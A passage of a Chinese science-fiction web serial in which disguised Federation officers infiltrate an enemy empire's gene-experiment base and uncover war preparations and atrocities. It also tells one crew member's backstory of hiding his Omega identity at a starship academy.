在他们身后，奥克斯·奴瓦辛戈的亲卫队首领和总管隐蔽地交换了一个眼神，总管对正端着一大盒抗辐射药剂朝战舰走去的基地护卫道：“把这些放在3号甲板6号门。” 基地护卫有些疑惑：“总管大人，不需要星舰上的人亲自交接吗？” 总管淡淡地瞥了他一眼：“元帅阁下心情不好，他们在受罚，等惩罚结束，他们会自己来拿走的。” 基地护卫打了个冷颤，把头埋得更低，快步走到3号甲板6号门，放下就赶紧撤离了，生怕动作一慢，受罚的就是自己。 在他们都跟着奥克斯·奴瓦辛戈离开港口之后，这里的自动感应灯一盏盏暗了下来。 在黑暗中，一条瘦弱的胳膊从6号门中探出来，把那箱抗辐射药剂悄无声息地划拉进了舱门内。 …… 三小时前，DEHWA-2075舰桥指挥室 程迹站在主屏幕前，和其他人介绍道：“这艘德瓦战舰此前曾是德瓦帝国元帅奥克斯·奴瓦辛戈的统领舰，记录显示他开着这艘船来过这里4次，因此运霖的程序记忆内仍然保有DEHWA-3567的所有信息，从人员配置到基地构造一应俱全。” 闻铮缓缓站直了身体，眸光沉沉：“……你说谁？” 程迹一怔，不明所以地重复了一遍：“奥克斯·奴瓦辛戈，德瓦帝国最年轻的元帅，哨兵1军的首领——” “我知道他是谁。”闻铮冷笑，把这句话在唇齿之间咬碎了再吐出来一般，“我太知道他是谁了。” 杀了他父母和破晓号12名军官的罪魁祸首，他能不知道吗？ 程迹挑了挑眉：“既然你知道他，那也许会容易一点。因为就像我之前提议过的那样，经过我的血清和赫尔的血，佐以其他的药物，我们可以短暂地转化为德瓦人的外貌和基因，这也是我们能潜入德瓦实验基地唯一的办法。” 他把当时DEHWA-3567的舰桥核心人员的立体影像投掷了出来：“闻指挥官，接下来需要你来排兵布阵了。” 闻铮凝视着眼前那些德瓦哨兵的影像，纵使心头涌上莫大的厌恶和痛恨，他也不得不咬紧牙关把这些感受咽下去，忍着恶心和憎恨去了解他们是怎样的人，有怎样的习惯，伪装他们，成为他们，成为这个专制的、血腥的、独裁的帝国中的一部分。 “没有必要所有人都去，”闻铮压下个人情感，理性地进行分析，“我会伪装成奥克斯·奴瓦辛戈，裴简珩战力高，你来做他的亲卫队统领兼大副博格和我一起去，凯利斯，你——” 不止凯利斯看向他等待命令，程迹也有些紧张地盯着闻铮，他已经想好了如何说服闻铮让自己和凯利斯对调潜入基地的话术了。 然而大大出乎他的意料，闻铮却说：“凯利斯，你带着黎晓和赫尔留守DEHWA-2075。程院士，你来做奥克斯·奴瓦辛戈的总管莱斯特，和我们一起去。” 第108章 服从性与保护欲 凯利斯颔首, 他很少质疑闻铮的决定，闻铮下达命令有他自己的道理，作为他得力的下属和忠诚的朋友, 他绝大部分时间只要遵守就好。 倒是程迹眼神复杂：“……多谢。” 闻铮抬眼看他：“不用谢这么早, 我让你和我们一起进去，是因为如果他们的实验是来源你曾经那个’基因改造’的研究, 你在基地里会比在星舰上更有用。” 程迹回望他那双上挑的眼睛，心里清楚这位闻指挥官没有完全信任他, 这很不错，这证明他是一个很聪明也很警惕的人。在这种情况下, 他还愿意着眼于大局而放弃揣测怀疑，确实是很强的领导力和人格魅力。 闻铮却没再管他怎么想, 转向了特娜伦和向星苑进行了计划安排。 程迹点开了奥克斯·奴瓦辛戈那位总管莱斯特的信息, 他是克米恩人, 不需要赫尔的血也能转换外貌, 只是一息, 他就变成了和屏幕上的人物一模一样的德瓦人。 他正在了解背诵莱斯特的身份背景和性格特点，却听见凯利斯的声音在他身边似笑非笑地响起：“奥克斯·奴瓦辛戈的统领舰你都搞得到, 我想就算我问，你也不会告诉我你是怎么弄到手的吧？” 程迹勾唇：“既然知道, 何必还问呢？” 凯利斯朝他踏近一步，用一种只有他们两个能听到的音量低声道：“我不管你要做什么，但如果你敢伤害我的舰长，我一定会让你付出代价。” 程迹轻轻咂了一下舌根。 “你们这些星际舰队的人，总会把你们的舰长神明化，对他们充满服从性和保护欲。尤其是你们悬空号的这帮旧人，闻上将对你们来说好像不只是一个上司或舰长, 都快变成你们的某种信仰了。” “不要说这些没用的，”凯利斯一改平日的嬉皮笑脸，那张一向阳光俊朗的脸上此刻却满是威胁之意，“既然你这么认为了，那你就不会想知道，当信仰受损以后，人会做出什么疯狂的事情来。” “放心，”程迹道，“我和你们的闻舰长没有任何私怨，事实上，我更希望像他这样的人可以多那么几个才好。” 凯利斯还要说些什么，却被闻铮的话打断了。 “一切按照部署进行，基因和外貌的改变最多维持四个小时，我们一定要在这期间成功。” 闻铮注视着舰桥里的这些人，有他的爱人，他信赖的朋友和部下，也有联邦的疯狂科学家逃犯，更有大众认知中品行低劣的星盗，而在这个时刻，却都变成了互相托付性命的人。 “我不能说这是一个万无一失的计划，”闻铮的喉咙有些发紧，“但确实是为了保护我们爱的人，和更多无辜生命存活的唯一方式。” “我无法确保什么，也不能给诸位任何承诺，只希望我们都能够……性命相托，殊死一搏。” …… 三小时后，德瓦实验基地。 奥克斯·奴瓦辛戈，不，闻铮，坐到了专属他的贵宾休息室主位，正在看眼前这个现任实验基地负责人克劳的简报。 简报主要分为三个部分，第一部分刚刚克劳已经说过了，他们研发出了对基地辐射防护罩永久免疫的抗辐射药剂，这些药剂拿到手比他原本设想的要更容易一些，足以救那二十几个星盗的命。现在特娜伦和向星苑应该已经带着这些药剂回到南区洼地了，他手里也没有什么其他的牌，就希望她们能遵守承诺吧。 “第二部分是我们的基因增强实验。” 克劳这句话一说出来，闻铮、裴简珩和程迹的精神都是为之一振。 悬浮屏上浮现了数据报表，随着基因的改变，德瓦语变成了他们三个现在的母语，所以他们的阅读没有任何障碍。 闻铮眯起眼睛，他看不太懂具体的数据含义，但最后的结论他看得一清二楚。 ——基因增强实验进入收尾阶段，虽然无法复制实验品379号的机能指标，但通过人类Alpha的腺体提取物和德瓦哨兵进行融合，在大规模推广本次实验后，德瓦哨兵战斗力有望实现三倍增长。 基因增强。 人类Alpha腺体提取物。 德瓦哨兵融合。 战斗力三倍增长。 闻铮紧紧握住了椅子的扶手，桌面的阴影盖住了他手背上的青筋。 倏地，一只温热的手覆盖了上来。 趁着克劳讲解读数的时机，闻铮低头瞟了一眼，是裴简珩。 他身形笔挺，毫无表情，但在别人都看不到的地方，裴简珩的左手却搭在了闻铮的右手上，给予他温热与支撑，帮他保持大脑的运转和对形势清醒的思考。 “元帅阁下，至于第三个部分……” 讲完了基因改造实验，克劳反而有些犹豫地瞥了一眼站在闻铮身后的两个高大的德瓦人，不太确定这种机密信息是否可以在外人面前汇报。 闻铮暗暗深吸一口气让自己冷静下来，克劳连基因实验都没有避着人，第三部分到底是什么，让他这么谨慎？ “博格是我最忠心的亲卫队首领，”闻铮淡淡道，“他拥有我最高的信任度，你可以直接说。” 克劳顿了一下，他看向博格的眼神流露出了几分艳羡和贪婪。 总有一天，他要把这个年轻亲卫队首领的头也割下来，然后把这个高高的位置也拿到手里。 披着博格外貌的裴简珩扫了他一眼，完美地扮演一个神色冷硬倨傲的亲卫队首领形象，左手却还牢牢地握着被守卫对象的右手。 “至于莱斯特总管，你们之间有过交流，我就不多说了，”闻铮面上流露出几分不耐，“不要浪费我的时间。” “是，元帅阁下！” 克劳神色一凛，赶快切入正题：“第三个部分是关于那艘联邦战舰的。” 他把悬浮屏放大，上面是一架三维战舰模型图，不管是从外观还是型号，都赫然是联邦星舰军队的战舰！ 闻铮的身体猛地前倾，他几乎花了全部的力气才让自己没有下意识地站起来，也努力克制住不要流露出其他的表情。 而他握着座椅扶手的右手指甲，也狠狠地嵌进了木质扶手里，鲜血淋漓。 那艘星舰，是早就被联邦判定失联坠毁的“逐星号”。 怎么会在这里？ 德瓦帝国这帮人到底要这艘星舰做什么？！ 闻铮用指甲的痛楚让自己保持冷静，在奥克斯·奴瓦辛戈的脸上流露出了一丝兴味：“什么进度了？” “这艘星舰很难搞，联邦不知道用了什么技术，他们的星舰主系统很难突破。”克劳的眼底闪过一丝自傲，“但我们换了一种方式，既然不能打破，那就覆盖上去。” “我们把最新的智能融合体覆盖了上去，现在已经可以重写99.997%的指令了，其余的0.003%在合理误差范围内，不需要考虑。” “智能融合体……”闻铮喃喃道。 “是的，元帅阁下。”克劳道，“是上次您带来的，说是’那位大人’给您的交易礼物。这个生物意志很顽强，所以实验很成功，是我们目前运算能力最强大的融合体，甚至超过此前在您星舰上配备的一代智能融合体。” 那位大人？ 这个信息不在谢运霖的智能记忆中，闻铮隐约觉得这里面还有很复杂的真相，但他此刻无暇顾及，只能先顺着说下去获取更多的情报：“……继续说。” “所以我们已经可以完全掌控这艘联邦战舰了，”克劳志得意满，“我们有了联邦战舰，有了基因战士，有了可以伪装外貌与基因的实验技术……元帅阁下，帝国已经准备好开战了！” 漏跳一拍。 闻铮一边维持住脸上满意的神色，一边还要遏制住头皮发麻的感受，他知道自己正在揭开德瓦帝国掀起第三次星际战争的底牌帷幕，一切都在紧要关头，决不能功亏一篑！ “做得很好，”闻铮咽下了喉咙的沙哑，勾起了唇角，“我要去看一下这艘联邦的小船，现在有多么的听话。” “当然。” 克劳恭敬地说，这时会议室的门被轻轻敲开，实验基地护卫队长哈维推着餐车走了进来。 “在此之前，我们为您准备了您最喜欢的美食。”克劳示意哈维将餐食一盘一盘地摆上来，把最大的一个盘子放在了闻铮面前，“您可以先就餐，在您用餐后，克劳会带您前往基因实验营和战舰孵化港。” 闻铮垂眼看着桌子上的食物，从谢运霖的数据记忆来看，这些是奥克斯·奴瓦辛戈喜爱的食物，每次来他都会吃，如果他这次拒绝了会很奇怪。 精美的餐具被小心地摆到了闻铮面前，最大的餐盘罩被掀开，盘子很大，里面却只放了几块摆盘精致的肉。 “你比这里的前任负责人心细多了，”闻铮拿起刀叉，把主餐盘里的肉叉起了一小块，在克劳和哈维的注视下放进了嘴里，在紧张的情绪之下，他什么都吃不出来，但仍然干巴巴地说，“……味道做得也更好。” “承蒙您夸赞。” 克劳笑起来，那双本就不大的眼睛眯成了一条缝：“毕竟您最爱吃的就是艾尼默奴隶保留的兽化部位，我让厨师试了几百次，才研究出最好的火候和配方。” 这句话宛如惊雷一般在闻铮耳边炸开，让他下意识停下了机械的咀嚼！ 克劳盯着他的双眼，阴恻恻地笑：“刚刚您感兴趣的那个羊属奴隶，味道您还满意吧？”—— 作者有话说：感谢西江月、Coco、34402499和珍白雪w的营养液！ 掉落逐星号模型x1！ 第109章 实验成功 “……” 闻铮一句话都说不出来, 巨大的反胃和作呕席卷了他，他要用尽全部力气才克制住自己不要吐出来！ 而唯一可以帮他抗衡这种下意识生物机能的，只有和裴简珩死死交握的右手。 他攥得很紧, 好像那是他的锚点, 只有感受到十指的交缠和熟悉的体温，才能在此刻提醒他, 他到底是谁。 没有得到回应，克劳又谄媚地追问：“元帅阁下？” 闻铮紧紧咬住口腔内壁, 那块肉和他的血混在一起硬是咽了下去，而从食道到胃, 好似都随着下咽产生了灼痛之感，一时之间他也分不清到底是生理状况还是心理作用。 “……很好。”闻铮咽下去后, 忍着恶心扮演奥克斯·奴瓦辛戈夸赞道, “你有心了。” 克劳的眼睛闪起了满足的光, 他心满意足地鞠躬：“多谢元帅阁下的夸赞, 让您感到愉悦是克劳的荣幸。” 他挥了挥手, 哈维又端上了几盘菜肴放在了旁边的位置，克劳对闻铮身后的亲卫队统领“博格”和总管“莱斯特”也微微行礼：“两位大人, 我们为您也准备了午餐，请享用。” 裴简珩和程迹对视一眼, 他们也不聋，都听明白了这一桌子所谓的“菜肴”的原材料都是什么，裴简珩眼底闪过厌恶和痛恨，又不得不在转瞬之间掩埋起来。 在这个关头，也只能坐下—— “不需要。” 闻铮放下了刀叉，似笑非笑地转头扫了裴简珩和程迹一眼：“昨天他们的失误还没有得到我的原谅，今天这丰盛的一餐当然轮不到赐给他们做奖赏。” 裴简珩和程迹都在瞬间就理解了闻铮的解围, 低头服从：“是，元帅阁下！” 裴简珩更是握紧了和闻铮紧握的手。 “好了，”克劳看到这位奥克斯·奴瓦辛戈元帅看上去有些意兴阑珊，甚至打了一个哈欠，“我有些困了，休息一下。” 闻铮从谢运霖的数据记忆中看到，这位将军每天会在这个时间段在星舰上进行半小时的午休，他猜测他到了实验基地也会保留这个习惯。 果不其然，克劳没有怀疑，只是和哈维一起恭敬地行礼，打算退出房间。 就在他们即将出去的前一秒，克劳听见奥克斯·奴瓦辛戈元帅的声音响起：“克劳，你把这份简报的所有源数据和相关信息都拷贝给莱斯特一份，我要在睡醒以后再仔细看看。” 克劳刚张开嘴，就看见奥克斯·奴瓦辛戈朝他这里瞥来了充满威胁的一眼：“如果你敢用数据造假的结论来忽悠我，我会发现的。” 他浑身一颤，恭敬应道：“是！” 那位神秘叵测的总管大人朝他走了过来，咧开了嘴。 在贵宾休息室的门被关上的前一瞬间，克劳好像看到了奥克斯·奴瓦辛戈正摸上了博格的手臂，态度亲昵旖旎。 克劳：“……” 克劳：“？” 克劳：“？！” 等一下！ 原来元帅阁下的亲卫队统领还要干这种事啊？! 那他还是决定放弃朝这个岗位努力了…… …… 等到房门关上，房间里只剩下了闻铮和裴简珩二人。 闻铮扬声：“人工智能，开启隐私模式。” 基地内统一配备的人工智能机械地回应：“收到，已为元帅阁下开启隐私模式，房间内一切声音和画面均不会被记录。” 人工智能的话音刚落，闻铮立刻冲到了卫生间，再也忍不住反胃的恶心感，吐得昏天黑地。 裴简珩连忙接了一杯温水，也赶到卫生间，一边轻轻拍着闻铮的后背，一边心疼地看着他。 直到吐无可吐，已经开始吐酸水的时候，闻铮才虚弱地直起身，甚至一时之间有些头晕，晃了一下。 裴简珩把他轻轻拉过来靠在自己身上，右手环绕过去，把那杯水递给他。 虽然顶着奥克斯·奴瓦辛戈的脸，但裴简珩依然能从这张令人憎恶的黑皮面容之下，直直地看到闻铮的灵魂。 闻铮仰头漱了漱口，才感觉自己又活了过来。 裴简珩又给他倒了一杯，低声哄他再喝一点润一润。 他们只是基因信息和外貌临时改变了，身体还是自己的，吐得太狠，伤的是本就摇摇欲坠的闻铮。 闻铮缓了一会儿，有些疲惫地坐在了沙发上，半晌才道：“我知道艾尼默人在德瓦帝国是地位卑微的奴隶，但我没想到他们甚至……” ……会成为德瓦人食物链的一环…… 裴简珩摇头：“德瓦人，尤其是德瓦军队内盛行这种风气，不只是艾尼默人，其他非德瓦的种族也会被占据绝对地位的德瓦人当做食物，就连德瓦人内部也把吃掉被他们打败的同族尸体当做至高无上的荣誉。” 闻铮又开始反胃了。 好不容易缓下来，闻铮从怀里掏出了一个小小的微缩模型，是利切尔自己做的破晓号纪念品。 他珍视无比地摩挲着微缩模型，好像那个小小的塑料玩意儿可以在此时带给他莫大的支撑和信念。 “我还没有和你说过吧，”闻铮轻声道，“我的父母是当年暗影组的指挥官和副手，是第二次星际战争中牺牲的第一批人之一。” 裴简珩一怔。 “他们驾驶着破晓号去进行了一场有去无回的单程任务，连同十二名暗影组军官一起，死在了哨兵1军手里。” 他把目光微缩模型上移向了镜子里，看到了那张他在梦里杀过千百次的一张脸，正长在他自己的身上。 “我要奥克斯·奴瓦辛戈给他们偿命。”闻铮死死盯着那张脸，一字一顿，咬牙切齿。 裴简珩看着他，心里一疼，伸手刚要搂上他的肩膀，就听到外间传来了门被开启的声音。 两个人神色都紧张起来，互相看了一眼对方检查伪装没有问题后，就从盥洗室出去，在看到是程迹伪装的莱斯特后神色才放松下来。 程迹把门关上，对他们点了点头：“我已经拿到他们的实验数据了。” 闻铮松了口气：“你看过了吗？他们的基因实验做到什么地步了？” 程迹抬手把悬浮屏打开，上面全都是数学公式和实验数据：“他们的实验已经成功了——部分成功了。” 闻铮那口气又被吊了回来：“部分成功是什么意思？” 程迹笑了一下：“他们的战力虽然提高了，但这种战力是通过基因融合和强行改造达成的，人类Alpha和德瓦人的基因的排异反应很严重，需要媒介进行搭桥和协调。” 具体的原理闻铮听不懂，但他能理解这里面的底层逻辑，所以迅速地抓到了关键之处：“媒介？” 程迹沉默了一下，显然试图换成通俗的语言让闻铮和裴简珩能听懂：“他们把一套极其复杂的基因规则代码整合进了基因组内，让这段源代码可以实时监控数以万亿计的细胞协同和融合，以此获得更强的融合和更高的战力。” 闻铮和裴简珩下意识地对视了一眼，都倒吸了一口凉气。 “这真的能实现？！”闻铮难以置信，“这是什么科幻电影吗？把人类、德瓦人和……基因代码混杂在一起？” “不管怎样，他们确实在实践层面做到了。”程迹目光沉沉，“他们的战力、智力和机能都大大提升，我看到了他们全周期的生物基因计划。” “第一期是死亡率最高的初期阶段，他们在探索人类Alpha的生理潜能极限，极致地扩大战斗力。” “第二期则是现在，在确定人类Alpha的战力之后，他们将这些被强行激发的基因提取出来，和德瓦士兵融合。” “等到第三期，他们会把机甲也融入到士兵的基因中，战斗力会成指数型增长。到时候别说人类，整个联邦都会覆灭。” 闻铮的心脏在胸腔里跳动的异常猛烈，他知道他们正在一个十分关键的节点，如果他们不能阻止德瓦人，数以十亿计的生命即将灰飞烟灭。 裴简珩的声音听起来也很干涩：“我不懂生物科学，但挺听起来，这个源代码才是最关键的东西对吗？如果没有这段源代码，人类和德瓦人的基因会产生严重的排异反应，二期实验自然也就失败了。” 程迹有些惊讶：“完全没错，裴中校在生物科学上倒是颇具天赋。” 在这个关头，来自顶尖科学家的肯定也不会让裴简珩高兴，他摇了摇头：“闻哥，我们必须得把这个源代码拿到手。” 闻铮颔首：“程迹，我猜克劳把数据底表给你的时候，应该也没有给你源代码吧？” “确实没有。”程迹道，“但我在他们的数据库里看到了这段代码的存在，上了很多层锁，有权限的只有两个人。” 裴简珩问：“哪两个？” “这个实验基地的首席科学家，”程迹把目光移向了闻铮，“和奥克斯·奴瓦辛戈。” 闻铮抬起了黑色的胳膊，他看向自己这具熟悉又陌生的躯体，脑海里似乎有什么一闪而过。 他问程迹：“如果我们能拿到源代码，你能重写它吗？” 程迹道：“当然。” 他的面容虽然已经被莱斯特的容貌遮盖，但闻铮能看到他眼底的沉痛一闪而过。 “——这段源代码，最初就是我写的。”—— 作者有话说：感谢珍白雪w、西江月、34402499、把我丢了和睡不醒醒的营养液！ 掉落破晓号吊坠x1！ 第110章 我永远感激他 闻铮三人又根据最新的情况制定了新的作战策略, 幸亏奥克斯·奴瓦辛戈有午睡的习惯，不然他们还真的很难找到时机来对一下计划。 他们刚把计划顺清楚，门就被轻轻地叩响了, 克劳的声音响起：“元帅阁下, 您吩咐的时间到了，实验营和战舰孵化港都已经准备好接受您的检阅了。” 三个人神色都是一怔, 互相检查了一下外貌有没有疏漏。 裴简珩和程迹都站到了另一侧，尽职尽责地扮演着保镖和管家的角色。 程迹还在检查自己的仪容仪表, 和袖口一颗纽扣作斗争，却听见裴简珩的声音低低地响起：“你是因为这段源代码才被联邦军事法庭判处四千多年刑期的, 对吗？” 程迹的动作一顿。 “并且，我猜测德瓦人并不是因为需要克米恩人转化外貌的基因秘密才屠杀了他们, 也许这也是其中一个因素吧, 但绝对不是主要驱动。” 裴简珩的眼神还放在闻铮身上, 唇边却带上了一丝冷笑：“他们是为了保护你这段源代码而死的, 因为克米恩人很清楚, 如果这段源代码到了德瓦人手里，对联邦来说会是多大的灭顶之灾。” “裴中校, 你说的没错，他们是因为我而死的。”程迹的声音紧绷, “相信我，我比你还早认识到这件事。” “从我们到了特安斯特-B中转星开始，一切都是你一步一步布下的局。”裴简珩在听见刚刚程迹承认源代码是他写出来的之后，就在一瞬间把这些零零散散的事情都串到了一起，并且他知道，他能想到，闻铮一定也想到了。 “你利用我们潜伏进这个实验基地里, 就是为了拿回源代码，这才是你的真正目的，不是吗？” 程迹察觉到这个一向温和有礼的Alpha青年变得咄咄逼人起来，显然被利用和欺骗对他来说不是一件可以被愉快接受的事情。 “重要吗？” 程迹反问：“每个人都会拿到自己想要的东西，利用还是欺骗，重要吗？” 裴简珩刚要说什么，闻铮却打开了房间的门，他也只能暂时把话咽了回去。 门外，克劳把拳头在胸前锤了三下：“参见元帅阁下！” 闻铮居高临下地看着他，颔首：“带路。” …… DEHWA-2075的舰桥上，现在只剩下了凯利斯和黎晓。 刚刚向星苑拿到了抗辐射的药物，赫尔跟着她和特娜伦一起相位穿梭回了魁斗星盗潜伏的洼地，在药物起效后他会再相位穿梭回来。 以免通讯信号被发现，如非紧急关头，潜伏小队不会打开和DEHWA-2075的通讯频道，也就意味着凯利斯和黎晓现在很难得到他们的信息，确实十分心焦。 黎晓心里着急又焦虑，时不时地在舰桥打转，凯利斯瞥了他一眼：“别担心，闻哥能搞定的，还有一个不好打的裴简珩，和随意变化外表的程迹，不会有什么问题的。” 黎晓深呼吸：“真的吗？闻哥是第二个让我觉得Alpha还没完全烂掉的人，他可一定不能出事！” 凯利斯似笑非笑地看着他：“那我和裴简珩算什么？” 黎晓目移。 这么一打岔，他倒是没有刚才那种紧张到反胃的感觉了。 凯利斯又问：“闻哥居然才排第二个啊，那我很好奇第一个Alpha是谁了。” 黎晓却一时半刻没有说话。 凯利斯意识到他可能并不想说，举起双手：“如果越界了就当我没问——” 黎晓打断了他的话，那张娃娃脸上浮现了一丝怅然：“说起来倒是很巧，他们有着相同的姓氏，虽然这个姓氏在联邦很常见——你之前也在星际舰队，你见过闻上将吗？” 凯利斯：“……” 凯利斯：“……” 凯利斯：“……呃。” 这次换凯利斯目移，他摸了摸鼻子，不自然地反问：“……你见过？” “不算见过。”黎晓点头，又摇头，“我只见过他的一个背影。” 凯利斯显然来了兴趣，他把转椅转过来面对黎晓：“怎么说？” 黎晓也坐在了舵手的位置上，叹了口气：“你知道我是Omega，也知道我曾经在星舰军校的轮机学院就读，你就不好奇为什么吗？” “我当然好奇，”凯利斯道，“但我觉得这个问题会有些冒犯，我可不想惹你。” 黎晓被他逗笑，气氛变得轻松了一些。 “我是个物理天才，非常显而易见。”黎晓慢慢说，“从小我就知道了，很多人绞尽脑汁都做不出来的数学或者物理题，我看一眼就知道答案。” “普通的学校对我来说很无趣，一些蠢人也很无趣，直到高中的校长无意中说起，’如果你不是个Omega，星舰学院的轮机学院会非常适合你’。” 黎晓深吸了一口气：“我觉得那时的生活很没意思，周围都是一些蠢人，Omega蠢，Alpha又蠢又自大，Beta又蠢又平庸——” 凯利斯无语：“你还真是平等地辱骂所有人。” 黎晓当做没听见：“所以我隐瞒了Omega的身份，伪装成Alpha进入了轮机学院。” 金发青年一怔，由衷地佩服：“你……你胆子是真的大，如果被发现了，你一定会被开除。哪怕你在校期间没有被发现，一旦进入了星际舰队，你的身份如果被发现造假，那是要进监狱的。” “我还没能走到那一步，”黎晓说，“在快毕业的那一年，所有人都在找上星舰见习的机会，否则拿不到毕业证。我是轮机学院那一届永远的第一名，所以我和第二名在竞争一年后去悬空号见习的机会。” 悬空号见习？ 悬空号前任第一大副开始跑神，他在脑海里把悬空号那512名舰员的脸都过了一遍，确定没有这人，难道他竞争失败了？ 他委婉地问：“你是在悬空号见到闻上将的？” “没有，最后我也没能登上悬空号。” 黎晓顿了一下，才又干巴巴地说：“一次实验室事故，刺激性气体泄露，让我强行进入了发|情|期。” “所有人都知道了我是个隐瞒身份的Omega。” “别说争取去悬空号见习的机会了，我当时正面临着被开除，或者更糟，被起诉的风险。” 黎晓的神色低落下来：“我的老师，是当时最有名的物理学家，他不允许校委会开除我，说哪怕是Omega他也要我，他说我比这些Alpha都要聪明。” “但只有他的话显然不够让校委会考虑……”黎晓垂眼看着自己那双因为在实验室和轮机室待了太久，而已经变得骨节宽大和粗糙的手，喃喃道，“……但他出现了。” 自己当时陷入了发情期被刺激而导致的昏迷，在病床上插着管子，他眼睛睁不开，浑身上下也完全动不了。 但他能听到在自己病房里的争执声。 有一个沙哑的声音在问出了什么事情，校委会主席说有一个Omega伪装成Alpha在轮机学院上了四年学，直到快毕业的时候才被发现，等醒了以后要把他开除的。 又说很抱歉让突发事件影响了闻上将的讲座进度，混混沌沌的黎晓这才想起来，那天是“第三军团之刃”、悬空号的闻上将来星舰军校进行代表讲话的日子。 和所有星舰军校的学生一样，闻铮这个名字就是他们心里的偶像和神明，他带着第三军团强悍地守在联邦的西翼战场，决不允许德瓦哨兵踏进联邦疆土一步。 在此前很少有人见过这位上将，这次是他第一次在星舰军部以外的地方出现，所有学生都沸腾了。 黎晓也不例外。 只是…… 他却以一种最不堪的方式，出现在了这位传奇人物面前。 看来那个悬空号轮机室的见习机会，他这辈子再也不会有了。 甚至，他也再不会有机会登上星舰了。 闭着眼，眼泪从黎晓的眼角安静地滑落，融在床单上，无声无息 “不，我并不认为他要被开除。” 那个沙哑的声音又模模糊糊地响起，让已经陷入绝望的黎晓甚至没有反应过来。 校委会主席也愣了一下，犹豫地问闻上将是否和这个Omega认识。 黎晓听见这位闻上将说：“Omega只是二级性别，不代表一个人本身的人品、能力和未来。我不认识这位小朋友，但我知道伪装身份不是一件容易的事情，他吃了这么多的苦，是因为他想加入星际舰队，想加入繁星之中。” “这是星舰军校的校训，也是星际舰队的使命。” 一片沉默，只有连着黎晓的医疗机器发出的滴滴声。 校委会主席的叹息声响起，他说他又何尝不惋惜呢，只是身份既然已经暴露，没有任何一个舰长会允许一个Omega进入轮机室，这是有悖于规章制度的，而没有见习机会，就没有毕业证，和现在开除也没有什么区别，还能减少时间成本。 “我允许。” “替我转告这位小朋友，悬空号以能为他提供见习机会为荣，闻铮期待一年后与他在星舰上相见。” 黎晓听见闻铮说的话，心下大震！ 他用尽全力才勉强睁开了一丝眼睛，在刺眼的光线下，他模模糊糊地看到了一个瘦削修长的背影，脊背挺直地走了出去。 “……”凯利斯半张着嘴，打死他也没想到，闻哥居然和黎晓有这种渊源！ 黎晓看他的表情，以为他要问自己为什么最终还是退学了，干脆直接回答：“只是还没到一年后，就传来了闻上将退役的消息。我尝试联系了悬空号，但悬空号的舰长更换的很频繁，每一任舰长都不愿意在没站住脚的时候为我冒这种破坏规章制度的风险。” “我放弃了，”黎晓轻轻地抚摸着操作台的边缘，怅然若失，“也许这就是我的命运，没必要强求了。” “但无论如何，”他的笑容里还带着几分湿润的泪光，“我永远感激他。”—— 作者有话说：黎晓的过去揭开！ 没事的，马上你就会发现，你心中排名第一和第二的ALPHA，其实都是同一个人啦=3=《 》 110-120 第111章 您不记得了么？ 德瓦帝国, 元帅府邸 整个德瓦帝国都是低饱和色，一眼望去只有黑白是这里的主色调。唯一时不时能刺激眼睛一下的，是血的红。 整个元帅府邸安静得落针可闻, 连走路声都没有。 一个德瓦人倏地出现, 匆匆去到元帅书房前，小心地扣响了门, 恭敬道：“元帅阁下，联邦动向报告。” 门应声打开, 书房正中坐着一个身材高大的黑皮浅瞳德瓦人，和寻常不保留头发的德瓦人不同, 他有着白色的头发，佐以几乎发白的眼瞳, 看上去诡谲又阴狠。 奥克斯·奴瓦辛戈声音懒懒的：“什么事？” 德瓦下属踏进房间, 把悬浮屏拉了出来：“洛河星系7号星的军部上将正在发表针对我们的隔空演讲。” 奥克斯·奴瓦辛戈挑起眉：“说什么？” 德瓦下属播放了实时三维视频。 视频中, 段洄站在发布现场, 神色严肃地进行全星系直播：“7号星在调查中发现, 此前针对政府总部的恶性爆炸事件，隶属德瓦帝国哨兵1军的自杀式恐怖袭击……” 奥克斯·奴瓦辛戈饶有行兴味地问下属：“你们做的？” 德瓦下属摇头：“已经和所有哨兵1军的队长确认过, 不是我们做的。” “……有意思。”奥克斯·奴瓦辛戈咧开嘴，“这个人是段洄, 我没记错的话是段和华的儿子吧？” “是的，元帅阁下。”德瓦下属道，“段洄明面上一心经商，不怎么在联邦军部里出现。但实际上，我们的情报已经查到，他是联邦那个神秘调查组织1215的二把手。至于他们的一把手……联邦把他的身份藏得很深，我们至今还没有知道。” 奥克斯·奴瓦辛戈若有所思, 他用略长的指尖点了点桌面：“段家是联邦主战派，这一出闹剧我看是他们自导自演。” “不过呢，我也乐意成全他们。”他嘴里的尖牙若隐若现，像是一匹准备掠食的狼，“准备一下，我们也需要给出回应。德瓦帝国不允许随意栽赃和污蔑！帝国的荣誉绝不允许被践踏，如果联邦不收回指控和道歉，德瓦帝国会为了守护荣誉而战！” 德瓦下属双眼放光，立刻站直身体，右手锤了四下左胸口：“帝国万岁！” 奥克斯·奴瓦辛戈也回了一次礼，笑容猖狂：“我们的基因战士已经实验完成，最强大的智能融合体也已经准备随时被唤醒，联邦……哈！” “一切为了更伟大的复兴，”他的眼神里闪着贪婪和残忍的光，“帝国万岁！” …… “自从您上次审阅之后，我们又加快了实验进度，现在您看到的这些基因战士，已经可以有初步的自我意识了。” 克劳的语气颇有些自傲，而闻铮，他正披着奥克斯·奴瓦辛戈的皮缓步走在实验营的走廊上。 透过防护力场和高强度玻璃，他能看到里面有着大大小小数百个实验舱，每一个实验舱上方都有一块悬浮屏，显示这些实验品的身体指标。 “他们非常听话，”克劳道，“您掌握着源代码，就完完全全地掌握着他们。这些战士，都会成为您最尖锐、也最忠实的剑。” 闻铮“嗯”了一声，看似随意地提了一嘴：“你们对源代码有什么更新吗？” 克劳脚步一顿：“上次您提醒过我们，如非必要不允许修改中枢室的源代码2.3.1版本，如果要修改必须得到您的首肯……” 他有些犹疑地看向奥克斯·奴瓦辛戈：“……您不记得了么？” 闻铮心里一沉，面上却依然不动声色，只是似笑非笑地扫了克劳一眼：“什么时候轮得到你来质问我？” 克劳连忙低下头：“克劳不敢！” “我要看一下你们最新的源代码，比起2.3.1有什么改——” 闻铮的话戛然而止。 他看到了其中一个实验营，里面不是一个一个的实验舱，而是一个很大的溶解池。池中不知道放了什么液体，正在汩汩冒泡。而两个艾尼默奴隶正面色麻木地将几具已经不成人形的尸体丢进去，眨眼之间，一切都消失在了溶解池中。 克劳注意到他的表情，暗呼一声糟糕，连忙关掉了这间实验营的可视画面，赔笑道：“抱歉元帅阁下，这里是我们的垃圾处理间，我会去调查是谁操作失误脏了您的眼睛，请您宽恕！” 闻铮的视力很好，他看到了那几具尸体，都是人类。 